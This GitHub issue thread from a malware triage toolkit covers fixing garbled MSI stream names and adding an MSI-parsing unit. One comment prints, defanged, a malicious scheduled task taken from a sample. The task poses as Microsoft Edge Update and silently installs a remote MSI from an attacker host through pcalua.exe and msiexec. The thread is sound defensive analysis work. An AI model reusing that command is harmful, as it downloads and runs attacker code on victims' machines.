binref / refinery

High Octane Triage Analysis
Other
618 stars 62 forks source link

MSI Extraction #33

Closed glesnewichpfpt closed 1 year ago

glesnewichpfpt commented 1 year ago

Specification

MSI files are already parsed well using the xtdoc unit. However, the embedded streams are often incorrectly labeled with nonsensical Chinese characters

Example (from https://bazaar.abuse.ch/sample/a00ae529a1ce4e2eb7f988ed5adaa07e653de3fe0c01bec9452aae71b935f63c/)

$ emit Projects/Malware/AdobePDFReader.msi | xtdoc -l 
[5]SummaryInformation
㡿㪆㦍㪄㫊㮅㨁㠀㬇㫄㩅㮌㣍㠍㥁㧆䠋
䡀㬿䏲䐸䖱
䡀㼿䕷䑬㭪䗤䠤
䡀㼿䕷䑬㹪䒲䠯
䡀㽿䅤䈯䠶
䡀㿿䏤䇬䗤䒬䠱
䡀䇊䌰㮱䈻䘦䈷䈜䘴䑨䈦
䡀䇊䗹䛎䆨䗸㼨䔨䈸䆱䠨
䡀䈏䗤䕸㬨䐲䒳䈱䗱䠶
䡀䈏䗤䕸䠨
䡀䈖䌧䠤
䡀䌍䈵䗦䕲䠼
䡀䌏䈯
䡀䑒䗶䏤㮯䈻䘦䈷䈜䘴䑨䈦
䡀䒌䓰䑲䑨䠷
䡀䒖䘧䈯䌜䑪䗤䕸䠨
䡀䕙䓲䕨䜷
䡀䘌䗶䐲䆊䌷䑲

Didier Stevens wrote plugin for oledump (https://github.com/DidierStevens/DidierStevensSuite/blob/master/plugin_msi_info.py ) that handles this issue & properly displays the correct embedded names. The cleaned up stream names make it much easier to discern what the MSI will drop and easier to select what stream to examine next or dump out

I don't know if its worth introducing a new unit (like xtmsi) or to just build that encoding fix into xtdoc and use it as a flag inside of the unit :)

Streams:
  1        620 SummaryInformation
  2        360 MPB_ExternalFiles.RunAction1_File1
  3     182784 MPB_ExternalFiles.RunAction2_File2
  4    2609864 Binary.CustomActionsModuleX64
  5        728 !_Columns
  6         36 !MPB_RunActions
  7         24 !MPB_ExternalFiles
  8      12676 !_StringData
  9       1756 !_StringPool
 10         40 !_Tables
 11       2232 !_Validation
 12        420 !ActionText
 13         48 !AdminExecuteSequence
 14         24 !AdminUISequence
 15         42 !AdvtExecuteSequence
 16          4 !FeatureComponents
 17         16 !Feature
 18          4 !Binary
 19         12 !Directory
 20        144 !InstallExecuteSequence
 21         72 !InstallUISequence
 22         12 !Component
 23         16 !Upgrade
 24         96 !Error
 25         48 !Property
 26        156 !CustomAction

Test Cases

Second comparison (truncated)

$ emit f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb.bin | xtdoc -l
[5]SummaryInformation
䌋䄱䜵㷾䚨
䌋䄱䜵㹾䚲䕨䋜䏨㼯䕦䓬㵷䘤䆱䈫䞵䏧䠯
䌋䄱䜵㾾䠳
䌋䄱䜵䄾䆬䖸䄷䗦䇾䏯
䌋䄱䜵䄾䖬䋦䇨䏸䕨䇾䏯
䌋䄱䜵䄾䖬䋦䇨䏸䕨䞂䏧䠯
䌋䄱䜵䅾䑤䈱䠵
䌋䄱䜵䆾䇰䌯䎱䕤䒵䠺
䌋䄱䜵䆾䐲䏳䗨䠬
䌋䄱䜵䆾䖸䌷䒦䠱
䌋䄱䜵䇾䄬䒯䠪
䌋䄱䜵䈾䆻䄯䌰䠦
䌋䄱䜵䌾䉱䠲
䌋䄱䜵䌾䖱䌷䒦䠱
䌋䄱䜵䕾䐨䙲䆬䠲
䌋䄱䜵䕾䓨䌤䌵䠦
䌋䄱䜵䗾䅤䄥䎦
䡀㬿䏲䐸䖱
䡀㲊㼿䋦䇨䏸䇨䄝䎶䠶
䡀㲞䈝䗻
䡀㼿䕷䑬㭪䗤䠤
䡀㼿䕷䑬㹪䒲䠯
䡀㽿䅤䈯䠶
䡀㿿䏤䇬䗤䒬䠱
䡀䄕䑸䋦䒌䇱䗬䒬䠱
䡀䄛䌧㫲䗸䒷䠱
䡀䆊䌷䑲䈝䗻
䡀䇊䌰㮱䈻䘦䈷䈜䘴䑨䈦
䡀䇊䌰㾱㼒䔨䈸䆱䠨
䡀䇊䗹䛎䆨䗸㼨䔨䈸䆱䠨
䡀䈏䗤䕸㬨䐲䒳䈱䗱䠶
䡀䈏䗤䕸䠨
䡀䈛䌪䗶䜵
䡀䈝䗻䗜䏼䠨
䡀䋌䆨㫮䛲
䡀䌋䄱䜵
䡀䌍䈵䗦䕲䠼
䡀䌍䏤䊲
䡀䑒䗶䏤㮯䈻䘦䈷䈜䘴䑨䈦
䡀䑒䗶䏤㾯㼒䔨䈸䆱䠨
䡀䒋䗲䗶䄵䓳䕨㲞䈜䘴䑨䈦
䡀䒌䓰䑲䑨䠷
䡀䒌䗱䒵㬯䑲䌧䌷䑲
䡀䒌䗱䒵㮯䈹䗱
䡀䒌䗱䒵䠯
䡀䓞䕪䇤䠨
䡀䕌䄨䈷䒏䇯䕨
䡀䕎䒵䠵
䡀䕙䓲䕨䜷
䡀䘌䗶䐲䆊䌷䑲
䡀䙎䑨㶷䓤䌳䊱

$ python3 oledump.py -p plugin_msi_info.py f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb.bin

Streams:
  1        316 SummaryInformation
  2        318 Binary.New
  3     627864 Binary.PowerShellScriptLauncher.dll
  4        318 Binary.Up
  5     390304 Binary.aicustact.dll
  6     146072 Binary.aischeduler.dll
  7     183448 Binary.aischeduler2.dll
  8       2818 Binary.banner
  9       2862 Binary.cmdlinkarrow
 10       2998 Binary.completi
 11       2998 Binary.custicon
 12      11791 Binary.dialog
 13        766 Binary.exclamic
 14       1078 Binary.info
 15       2998 Binary.insticon
 16       2998 Binary.removico
 17       2998 Binary.repairic
 18        854 Binary.tabback
 19       1480 !_Columns
 20         32 !AI_ScheduledTasks
 21        444 !UIText
 22      84211 !_StringData
 23       7560 !_StringPool
 24         76 !_Tables
 25       4440 !_Validation
 26         16 !LaunchCondition
 27         36 !RadioButton
 28        480 !ActionText
 29         48 !AdminExecuteSequence
 30         66 !AdminUISequence
 31         72 !AdvtExecuteSequence
 32          8 !FeatureComponents
 33         16 !Feature
 34         24 !Registry
 35         48 !TextStyle
 36         12 !CheckBox
 37         68 !Binary
 38         12 !Directory
 39        616 !Dialog
 40        462 !InstallExecuteSequence
 41        180 !InstallUISequence
 42         54 !BootstrapperUISequence
 43         24 !Component
 44         72 !ControlCondition
 45       1536 !ControlEvent
 46       7280 !Control
 47         32 !Upgrade
 48          4 !CreateFolder
 49       2564 !Error
 50        332 !Property
 51        372 !CustomAction
 52        128 !EventMapping
jhhcs commented 1 year ago

Oh this has been bugging me for so long 😅! I didn't know the Master of Maldocs had a script for this, although that is obviously no surprise. Excellent suggestion, I'll get on it. My feeling is that you'd really just want xtdoc to automatically display the "correct" file names, I'll see if I can just make it work automatically, even without an additional flag.

jhhcs commented 1 year ago

This has been added and will be in the next release. The unit xtdoc will now demangle MSI names, but it will still extract all the streams raw. I added a separate unit called xtmsi which combines all the stream information in a single, synthesized JSON document that is available as one of the extracted items. For your second example, this looks as follows.

Here is the directory listing:

[19:01] emit f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb | xt -l
Action/AI_DATA_SETTER
Binary/New
Binary/PowerShellScriptLauncher.dll
Binary/Up
Binary/aicustact.dll
Binary/aischeduler.dll
Binary/aischeduler2.dll
Binary/banner
Binary/cmdlinkarrow
Binary/completi
Binary/custicon
Binary/dialog
Binary/exclamic
Binary/info
Binary/insticon
Binary/removico
Binary/repairic
Binary/tabback
MsiTables.json

And here is an example of isolating the (likely?) malicious logic in the AI_ScheduledTasks table:

[19:01] emit f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb | xt MsiTables.json | xtjson AI_ScheduledTasks.#0 | defang
{
    "TaskId": "MicrosoftEdgeUpdateTaskMachine",
    "TaskName": "Microsoft Edge Update Task Machine",
    "Run": "c:\\windows\\system32\\pcalua.exe",
    "CmdLine": "-a msiexec -c /Q /i https[:]//www.thecloudnet[.]org/%username%.msi",
    "WorkDir": "c:\\windows\\system32",
    "User": "",
    "Pass": "",
    "UserProp": "[%UserDomain]\\[LogonUser]",
    "PassProp": "",
    "StartTime": "0",
    "Comments": "",
    "Flags": 8192,
    "Trigger": "1|300|1|1|0|1|0|",
    "Condition": "1",
    "TaskVersion": "2.0"
}

For your first example, I get a slightly different listing than the one you posted:

[19:07] emit a00ae529a1ce4e2eb7f988ed5adaa07e653de3fe0c01bec9452aae71b935f63c | xt -l
MsiTables.json
_16AD64AAB5E18007C4B59CED3D01567B

[19:07] emit a00ae529a1ce4e2eb7f988ed5adaa07e653de3fe0c01bec9452aae71b935f63c | xtdoc -l
[5]SummaryInformation
_16AD64AAB5E18007C4B59CED3D01567B
!_Columns
!_StringData
!_StringPool
!_Tables
!_Validation
!AdminExecuteSequence
!AdvtExecuteSequence
!FeatureComponents
!Feature
!Media
!Directory
!File
!InstallExecuteSequence
!Component
!ModuleSignature
!Property
!CustomAction

However, I get the same listing from 7zip, so I am thinking it's probably correct.

jhhcs commented 1 year ago

Ah, right, I was using xt in the examples above: xt will default to xtmsi when executed on MSIs.

jhhcs commented 1 year ago

Alright, 0.6.4. is deploying, I am closing this out as completed. I added a test and I think all is well, but let me know if it is giving you any trouble.